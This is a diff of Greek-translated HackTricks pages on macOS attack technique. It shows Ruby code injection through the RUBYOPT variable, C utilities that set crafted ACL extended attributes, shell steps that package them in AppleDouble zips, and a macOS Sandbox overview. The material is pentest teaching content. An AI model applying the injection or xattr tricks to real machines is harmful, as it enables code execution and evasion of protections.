<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Εισαγωγή σε εφαρμογές Ruby στο macOS
# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## RUBYOPT
Χρησιμοποιώντας αυτήν τη μεταβλητή περιβάλλοντος, είναι δυνατόν να **προστεθούν νέες παράμετροι** στο **ruby** κάθε φορά που εκτελείται. Αν και η παράμετρος **`-e`** δεν μπορεί να χρησιμοποιηθεί για να καθορίσει κώδικα ruby προς εκτέλεση, είναι δυνατόν να χρησιμοποιηθούν οι παράμετροι **`-I`** και **`-r`** για να προστεθεί ένας νέος φάκελος στη διαδρομή φόρτωσης των βιβλιοθηκών και στη συνέχεια να καθοριστεί μια βιβλιοθήκη για φόρτωση.
Χρησιμοποιώντας αυτήν την μεταβλητή περιβάλλοντος είναι δυνατόν να **προσθέσετε νέες παραμέτρους** στη **ruby** όποτε εκτελείται. Αν και η παράμετρος **`-e`** δεν μπορεί να χρησιμοποιηθεί για να καθορίσει τον κώδικα ruby που θα εκτελεστεί, είναι δυνατόν να χρησιμοποιηθούν οι παράμετροι **`-I`** και **`-r`** για να προστεθεί ένας νέος φάκελος στη διαδρομή φόρτωσης βιβλιοθηκών και στη συνέχεια **να καθορίσετε μια βιβλιοθήκη για φόρτωση**.
Δημιουργήστε τη βιβλιοθήκη **`inject.rb`** στο **`/tmp`**:
@ -26,7 +27,7 @@ puts `whoami`
```
{% endcode %}
Δημιουργήστε οπουδήποτε ένα ruby script όπως:
Δημιουργήστε οπουδήποτε ένα σενάριο ruby όπως:
{% code title="hello.rb" %}
```ruby
@ -34,24 +35,25 @@ puts 'Hello, World!'
```
{% endcode %}
Στη συνέχεια, δημιουργήστε ένα αυθαίρετο ruby script και φορτώστε το με:
Στη συνέχεια, κάντε ένα αυθαίρετο σενάριο ruby να το φορτώσει με:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Ενδιαφέρον γεγονός, λειτουργεί ακόμα και με την παράμετρο **`--disable-rubyopt`**:
Διασκεδαστικό γεγονός, λειτουργεί ακόμη και με την παράμετρο **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# macOS xattr-acls extra stuff
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
{% endhint %}
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
````
```
<details>
<summary>Κώδικας της συνάρτησης get_acls</summary>
<summary>Κώδικας του get_acls</summary>
```c
// gcc -o get_acls get_acls
#include <stdio.h>
@ -61,47 +67,103 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
````
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
```
</details>
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Κώδικας της set_xattr</summary>
<summary>Κώδικας του set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf); }
free(buf);
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
print\_xattrs(filepath);
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
return 0; }
print_xattrs(filepath);
````
return 0;
}
```
</details>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@ -115,10 +177,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
````
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Αμμοδοχείο macOS
# macOS Sandbox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το Ammosdoxeío MacOS (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο ammosdoxeío στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ του ammosdoxeίου** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
Το MacOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
Οποιαδήποτε εφαρμογή με το **δικαίωμα** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο ammosdoxeío. Τα **δυαδικά αρχεία της Apple** συνήθως εκτελούνται μέσα σε ένα ammosdoxeío και για να δημοσιευτούν στο **App Store**, **αυτό το δικαίωμα είναι υποχρεωτικό**. Έτσι, οι περισσότερες εφαρμογές θα εκτελούνται μέσα στο ammosdoxeío.
Οποιαδήποτε εφαρμογή με την **παροχή** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κωδικοί της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox και προκειμένου να δημοσιευτούν στο **App Store**, **αυτή η παροχή είναι υποχρεωτική**. Έτσι, οι περισσότερες εφαρμογές θα εκτελούνται μέσα στο sandbox.
Για να ελέγξετε τι μπορεί ή δεν μπορεί να κάνει ένας διεργασία, το **ammosdoxeío έχει hooks** σε όλες τις **κλήσεις συστήματος** στον πυρήνα. **Ανάλογα** με τα **δικαιώματα** της εφαρμογής, το ammosdoxeío θα **επιτρέπει** ορισμένες ενέργειες.
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε όλες τις **syscalls** σε όλο τον πυρήνα. **Ανάλογα** με τις **παροχές** της εφαρμογής, το Sandbox θα **επιτρέπει** ορισμένες ενέργειες.
Ορισμένα σημαντικά στοιχεία του ammosdoxeίου είναι:
Ορισμένα σημαντικά στοιχεία του Sandbox είναι:
* Η **επέκταση πυρήνα** `/System/Library/Extensions/Sandbox.kext`
* Το **ιδιωτικό πλαίσιο** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* Ένα **daemon** που εκτελείται στον χώρο χρήστη `/usr/libexec/sandboxd`
* Οι **κάδοι** `~/Library/Containers`
* Ένας **daemon** που εκτελείται στο userland `/usr/libexec/sandboxd`
* Οι **κοντέινερ** `~/Library/Containers`
Μέσα στον φάκελο των κάδων μπορείτε να βρείτε **έναν φάκελο για κάθε εφαρμογή που εκτελείται μέσα στο ammosdoxeío** με το όνομα του αναγνωριστικού δέσμης:
Μέσα στο φάκελο κοντέινερ μπορείτε να βρείτε **έναν φάκελο για κάθε εφαρμογή που εκτελείται sandboxed** με το όνομα του bundle id:
```bash
ls -l ~/Library/Containers
total 0
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
Μέσα σε κάθε φάκελο με το αναγνωριστικό της εφαρμογής (bundle id), μπορείτε να βρείτε το αρχείο **plist** και τον φάκελο **Data** της εφαρμογής:
Μέσα σε κάθε φάκελο bundle id μπορείτε να βρείτε το **plist** και τον **φάκελο Δεδομένων** της Εφαρμογής:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Να σημειωθεί ότι ακόμα κι αν τα συμβολικά συνδέσμοι υπάρχουν για να "δραπετεύσουν" από το Sandbox και να έχουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει ακόμα να **έχει δικαιώματα** για να τους προσεγγίσει. Αυτά τα δικαιώματα βρίσκονται μέσα στο **`.plist`**.
Σημειώστε ότι ακόμη και αν οι symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Όλα τα δημιουργημένα/τροποποιημένα από μια εφαρμογή που εκτελείται σε άμμο θα λάβουν το **χαρακτηριστικό καραντίνας**. Αυτό θα εμποδίσει τον χώρο άμμου να ενεργοποιήσει τον Gatekeeper αν η εφαρμογή άμμου προσπαθήσει να εκτελέσει κάτι με την εντολή **`open`**.
Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **χαρακτηριστικό καραντίνας**. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
{% endhint %}
### Προφίλ άμμου
### Sandbox Profiles
Τα προφίλ άμμου είναι αρχεία ρυθμίσεων που υποδεικνύουν τι επιτρέπεται/απαγορεύεται σε αυτήν την άμμο. Χρησιμοποιεί την γλώσσα προφίλ άμμου (SBPL), η οποία χρησιμοποιεί την [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) γλώσσα προγραμματισμού.
Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Γλώσσα Προφίλ Sandbox (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
Εδώ μπορείτε να βρείτε ένα παράδειγμα:
```scheme
@ -140,57 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
{% hint style="success" %}
Ελέγξτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που μπορεί να επιτρέπονται ή να απαγορεύονται**.
Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
{% endhint %}
Σημαντικές **υπηρεσίες συστήματος** τρέχουν επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα στα:
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα σε δικό τους προσαρμοσμένο **sandbox**, όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**&#x20;
* Άλλα προφίλ sandbox μπορούν να ελεγχθούν στο [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
